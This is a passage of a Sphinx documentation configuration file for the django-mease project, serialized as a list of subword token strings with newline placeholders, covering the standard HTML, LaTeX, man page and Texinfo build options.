"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"There",
" ",
"are",
" ",
"two",
" ",
"options",
" ",
"for",
" ",
"repla",
"cing",
" ",
"|",
"toda",
"y",
"|",
":",
" ",
"eit",
"her",
",",
" ",
"you",
" ",
"set",
" ",
"toda",
"y",
" ",
"to",
" ",
"some",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"non",
"-",
"fal",
"se",
" ",
"value",
",",
" ",
"then",
" ",
"it",
" ",
"is",
" ",
"used",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"toda",
"y",
" ",
"=",
" ",
"''_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Else",
",",
" ",
"toda",
"y",
"\\u",
"fmt",
" ",
"is",
" ",
"used",
" ",
"as",
" ",
"the",
" ",
"format",
" ",
"for",
" ",
"a",
" ",
"strf",
"time",
" ",
"call",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"toda",
"y",
"\\u",
"fmt",
" ",
"=",
" ",
"'%",
"B",
" ",
"%",
"d",
",",
" ",
"%",
"Y",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"List",
" ",
"of",
" ",
"pattern",
"s",
",",
" ",
"relative",
" ",
"to",
" ",
"source",
" ",
"director",
"y",
",",
" ",
"tha",
"t",
" ",
"match",
" ",
"files",
" ",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"director",
"ies",
" ",
"to",
" ",
"ignore",
" ",
"whe",
"n",
" ",
"look",
"ing",
" ",
"for",
" ",
"source",
" ",
"files",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"exclu",
"de",
"\\u",
"patterns_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"re",
"ST",
" ",
"default",
" ",
"role",
" ",
"(",
"used",
" ",
"for",
" ",
"this",
" ",
"markup",
":",
" ",
"`",
"text",
"`)",
" ",
"to",
" ",
"use",
" ",
"for",
" ",
"all_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"document",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"default",
"\\u",
"role",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"'(",
")'",
" ",
"will",
" ",
"be",
" ",
"append",
"ed",
" ",
"to",
" ",
":",
"func",
":",
" ",
"etc",
".",
" ",
"cross",
"-",
"reference",
" ",
"text",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"add",
"\\u",
"function",
"\\u",
"parenthes",
"es",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"the",
" ",
"current",
" ",
"module",
" ",
"name",
" ",
"will",
" ",
"be",
" ",
"prepend",
"ed",
" ",
"to",
" ",
"all",
" ",
"description_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"unit",
" ",
"titles",
" ",
"(",
"suc",
"h",
" ",
"as",
" ",
"..",
" ",
"function",
"::",
").",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"add",
"\\u",
"module",
"\\u",
"names",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"section",
"author",
" ",
"and",
" ",
"module",
"author",
" ",
"directive",
"s",
" ",
"will",
" ",
"be",
" ",
"shown",
" ",
"in",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"output",
".",
" ",
"The",
"y",
" ",
"are",
" ",
"ignore",
"d",
" ",
"by",
" ",
"default",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"show",
"\\u",
"author",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"the",
" ",
"Pyg",
"ment",
"s",
" ",
"(",
"synta",
"x",
" ",
"highlight",
"ing",
")",
" ",
"style",
" ",
"to",
" ",
"use",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"pyg",
"ment",
"s",
"\\u",
"style_",
"=_",
"'",
"sphinx",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"A",
" ",
"list",
" ",
"of",
" ",
"ignore",
"d",
" ",
"prefix",
"es",
" ",
"for",
" ",
"module",
" ",
"index",
" ",
"sorting",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"modi",
"nde",
"x",
"\\u",
"common",
"\\u",
"prefix",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"keep",
" ",
"warn",
"ings",
" ",
"as",
" ",
"\"",
"system",
" ",
"message",
"\"",
" ",
"paragraph",
"s",
" ",
"in",
" ",
"the",
" ",
"bui",
"lt",
" ",
"document",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"keep",
"\\u",
"warn",
"ings",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"HTM",
"L",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"----",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"them",
"e",
" ",
"to",
" ",
"use",
" ",
"for",
" ",
"HTM",
"L",
" ",
"and",
" ",
"HTM",
"L",
" ",
"Help",
" ",
"page",
"s",
".",
" ",
" ",
"See",
" ",
"the",
" ",
"documentation",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"bui",
"lti",
"n",
" ",
"themes",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"html",
"\\u",
"theme_",
"=_",
"'",
"default",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Them",
"e",
" ",
"options",
" ",
"are",
" ",
"them",
"e-",
"specific",
" ",
"and",
" ",
"customize",
" ",
"the",
" ",
"look",
" ",
"and",
" ",
"feel",
" ",
"of",
" ",
"a",
" ",
"theme_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"fur",
"ther",
".",
" ",
" ",
"For",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"options",
" ",
"avail",
"able",
" ",
"for",
" ",
"each",
" ",
"them",
"e",
",",
" ",
"see",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"documentation",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"them",
"e\\u",
"options",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"custom",
" ",
"themes",
" ",
"here",
",",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"them",
"e\\u",
"path",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"for",
" ",
"this",
" ",
"set",
" ",
"of",
" ",
"Sph",
"inx",
" ",
"document",
"s",
".",
" ",
" ",
"If",
" ",
"Non",
"e",
",",
" ",
"it",
" ",
"default",
"s",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"\"<",
"project",
">",
" ",
"v",
"<",
"release",
">",
" ",
"documentation",
"\".",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"title",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"A",
" ",
"shorter",
" ",
"title",
" ",
"for",
" ",
"the",
" ",
"navigation",
" ",
"bar",
".",
" ",
" ",
"Default",
" ",
"is",
" ",
"the",
" ",
"same",
" ",
"as",
" ",
"html",
"\\u",
"title",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"short",
"\\u",
"title",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
")",
" ",
"to",
" ",
"place",
" ",
"at",
" ",
"the",
" ",
"top_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"of",
" ",
"the",
" ",
"sidebar",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"logo",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"within",
" ",
"the",
" ",
"static",
" ",
"path",
")",
" ",
"to",
" ",
"use",
" ",
"as",
" ",
"fav",
"icon",
" ",
"of",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"docs",
".",
" ",
" ",
"Thi",
"s",
" ",
"file",
" ",
"shou",
"ld",
" ",
"be",
" ",
"a",
" ",
"Window",
"s",
" ",
"icon",
" ",
"file",
" ",
"(.",
"ico",
")",
" ",
"bei",
"ng",
" ",
"16",
"x1",
"6",
" ",
"or",
" ",
"32",
"x3",
"2_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"pixel",
"s",
" ",
"large",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"fav",
"icon",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"custom",
" ",
"static",
" ",
"files",
" ",
"(",
"suc",
"h",
" ",
"as",
" ",
"style",
" ",
"sheet",
"s",
")",
" ",
"here",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
".",
" ",
"The",
"y",
" ",
"are",
" ",
"copie",
"d",
" ",
"after",
" ",
"the",
" ",
"bui",
"lti",
"n",
" ",
"static",
" ",
"files",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"so",
" ",
"a",
" ",
"file",
" ",
"named",
" ",
"\"",
"default",
".",
"css",
"\"",
" ",
"will",
" ",
"overwrit",
"e",
" ",
"the",
" ",
"bui",
"lti",
"n",
" ",
"\"",
"default",
".",
"css",
"\".",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"html",
"\\u",
"static",
"\\u",
"path_",
"=_",
"[_",
"'\\u",
"static",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"extra",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"custom",
" ",
"files",
" ",
"(",
"suc",
"h",
" ",
"as",
" ",
"robots",
".",
"txt",
" ",
"or_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
".",
"hta",
"ccess",
")",
" ",
"here",
",",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
".",
" ",
"The",
"se",
" ",
"files",
" ",
"are",
" ",
"copied_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"direct",
"ly",
" ",
"to",
" ",
"the",
" ",
"root",
" ",
"of",
" ",
"the",
" ",
"documentation",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"extra",
"\\u",
"path",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"not",
" ",
"''",
",",
" ",
"a",
" ",
"'",
"Las",
"t",
" ",
"update",
"d",
" ",
"on",
":'",
" ",
"timestamp",
" ",
"is",
" ",
"inserted",
" ",
"at",
" ",
"every",
" ",
"page",
" ",
"bottom",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"usi",
"ng",
" ",
"the",
" ",
"give",
"n",
" ",
"strf",
"time",
" ",
"format",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"last",
"\\u",
"update",
"d\\u",
"fmt",
" ",
"=",
" ",
"'%",
"b",
" ",
"%",
"d",
",",
" ",
"%",
"Y",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"Sma",
"rty",
"Pant",
"s",
" ",
"will",
" ",
"be",
" ",
"used",
" ",
"to",
" ",
"convert",
" ",
"quote",
"s",
" ",
"and",
" ",
"dashes",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"typo",
"graphical",
"ly",
" ",
"correct",
" ",
"entit",
"ies",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"smart",
"ypa",
"nts",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Custom",
" ",
"sidebar",
" ",
"template",
"s",
",",
" ",
"maps",
" ",
"document",
" ",
"names",
" ",
"to",
" ",
"template",
" ",
"names",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"sidebar",
"s",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Addition",
"al",
" ",
"template",
"s",
" ",
"tha",
"t",
" ",
"shou",
"ld",
" ",
"be",
" ",
"render",
"ed",
" ",
"to",
" ",
"page",
"s",
",",
" ",
"maps",
" ",
"page",
" ",
"names",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"template",
" ",
"names",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"addition",
"al",
"\\u",
"page",
"s",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"index",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"the",
" ",
"index",
" ",
"is",
" ",
"split",
" ",
"int",
"o",
" ",
"individual",
" ",
"page",
"s",
" ",
"for",
" ",
"each",
" ",
"letter",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"split",
"\\u",
"index",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"link",
"s",
" ",
"to",
" ",
"the",
" ",
"re",
"ST",
" ",
"source",
"s",
" ",
"are",
" ",
"adde",
"d",
" ",
"to",
" ",
"the",
" ",
"page",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"source",
"link",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"\"",
"Creat",
"ed",
" ",
"usi",
"ng",
" ",
"Sph",
"inx",
"\"",
" ",
"is",
" ",
"shown",
" ",
"in",
" ",
"the",
" ",
"HTM",
"L",
" ",
"footer",
".",
" ",
"Default",
" ",
"is",
" ",
"Tru",
"e",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"sphinx",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"\"(",
"C",
")",
" ",
"Copy",
"right",
" ",
"...\"",
" ",
"is",
" ",
"shown",
" ",
"in",
" ",
"the",
" ",
"HTM",
"L",
" ",
"footer",
".",
" ",
"Default",
" ",
"is",
" ",
"Tru",
"e",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"copyr",
"ight",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"an",
" ",
"Open",
"Sear",
"ch",
" ",
"description",
" ",
"file",
" ",
"will",
" ",
"be",
" ",
"output",
",",
" ",
"and",
" ",
"all",
" ",
"page",
"s",
" ",
"will",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"contain",
" ",
"a",
" ",
"<",
"link",
">",
" ",
"tag",
" ",
"refer",
"ring",
" ",
"to",
" ",
"it",
".",
" ",
" ",
"The",
" ",
"value",
" ",
"of",
" ",
"this",
" ",
"option",
" ",
"must",
" ",
"be",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"base",
" ",
"URL",
" ",
"from",
" ",
"whi",
"ch",
" ",
"the",
" ",
"finish",
"ed",
" ",
"HTM",
"L",
" ",
"is",
" ",
"serve",
"d",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"opens",
"ear",
"ch",
" ",
"=",
" ",
"''_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"is",
" ",
"the",
" ",
"file",
" ",
"name",
" ",
"suff",
"ix",
" ",
"for",
" ",
"HTM",
"L",
" ",
"files",
" ",
"(",
"e",
".",
"g",
".",
" ",
"\".",
"xh",
"tml",
"\")",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"file",
"\\u",
"suff",
"ix",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Output",
" ",
"file",
" ",
"base",
" ",
"name",
" ",
"for",
" ",
"HTM",
"L",
" ",
"help",
" ",
"builde",
"r",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"html",
"help",
"\\u",
"basename_",
"=_",
"'",
"django",
"-",
"meas",
"edo",
"c",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"La",
"Te",
"X",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"---",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"late",
"x",
"\\u",
"elements_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"pape",
"r",
" ",
"size",
" ",
"('",
"letter",
"pape",
"r",
"'",
" ",
"or",
" ",
"'",
"a4",
"pape",
"r",
"')",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"papers",
"ize",
"':",
" ",
"'",
"letter",
"pape",
"r",
"',",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"font",
" ",
"size",
" ",
"('",
"10",
"pt",
"',",
" ",
"'",
"11",
"pt",
"'",
" ",
"or",
" ",
"'",
"1",
"2p",
"t",
"')",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"points",
"ize",
"':",
" ",
"'",
"10",
"pt",
"',",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Addition",
"al",
" ",
"stu",
"ff",
" ",
"for",
" ",
"the",
" ",
"La",
"Te",
"X",
" ",
"preamble",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"preamble",
"':",
" ",
"''",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Group",
"ing",
" ",
"the",
" ",
"document",
" ",
"tree",
" ",
"int",
"o",
" ",
"La",
"Te",
"X",
" ",
"files",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"target",
" ",
"name",
",",
" ",
"title",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"author",
",",
" ",
"document",
"class",
" ",
"[",
"how",
"to",
",",
" ",
"manu",
"al",
",",
" ",
"or",
" ",
"own",
" ",
"class",
"])",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"late",
"x",
"\\u",
"documents_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"index",
"'_",
",_",
"'",
"django",
"-",
"meas",
"e",
".",
"tex",
"'_",
",_",
"'",
"django",
"-",
"meas",
"e",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Flor",
"ian",
" ",
"PA",
"QUE",
"T",
"'_",
",_",
"'",
"manu",
"al",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
")",
" ",
"to",
" ",
"place",
" ",
"at",
" ",
"the",
" ",
"top",
" ",
"of_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"the",
" ",
"title",
" ",
"page",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"logo",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"For",
" ",
"\"",
"manu",
"al",
"\"",
" ",
"document",
"s",
",",
" ",
"if",
" ",
"this",
" ",
"is",
" ",
"true",
",",
" ",
"then",
" ",
"toplevel",
" ",
"heading",
"s",
" ",
"are",
" ",
"part",
"s",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"not",
" ",
"chapters",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"use",
"\\u",
"part",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"page",
" ",
"reference",
"s",
" ",
"after",
" ",
"internal",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"show",
"\\u",
"pager",
"ef",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"URL",
" ",
"addresse",
"s",
" ",
"after",
" ",
"external",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Document",
"s",
" ",
"to",
" ",
"append",
" ",
"as",
" ",
"an",
" ",
"appendi",
"x",
" ",
"to",
" ",
"all",
" ",
"manu",
"als",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"appendi",
"ces",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"manu",
"al",
" ",
"page",
" ",
"output",
" ",
"--------------",
"--------------",
"-----------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"One",
" ",
"entry",
" ",
"per",
" ",
"manu",
"al",
" ",
"page",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"name",
",",
" ",
"description",
",",
" ",
"author",
"s",
",",
" ",
"manu",
"al",
" ",
"section",
").",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"man",
"\\u",
"pages_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"index",
"'_",
",_",
"'",
"django",
"-",
"meas",
"e",
"'_",
",_",
"'",
"django",
"-",
"meas",
"e",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"'",
"Flor",
"ian",
" ",
"PA",
"QUE",
"T",
"'_",
"]_",
",_",
"1_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"URL",
" ",
"addresse",
"s",
" ",
"after",
" ",
"external",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"man",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"Tex",
"info",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"-_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Group",
"ing",
" ",
"the",
" ",
"document",
" ",
"tree",
" ",
"int",
"o",
" ",
"Tex",
"info",
" ",
"files",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"target",
" ",
"name",
",",
" ",
"title",
",",
" ",
"author",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"dir",
" ",
"menu",
" ",
"entry",
",",
" ",
"description",
",",
" ",
"category",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"tex",
"info",
"\\u",
"documents_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"index",
"'_",
",_",
"'",
"django",
"-",
"meas",
"e",
"'_",
",_",
"'",
"django",
"-",
"meas",
"e",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Flor",
"ian",
" ",
"PA",
"QUE",
"T",
"'_",
",_",
"'",
"django",
"-",
"meas",
"e",
"'_",
",_",
"'",
"One",
" ",
"line",
" ",
"description",
" ",
"of",
" ",
"project",
".'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
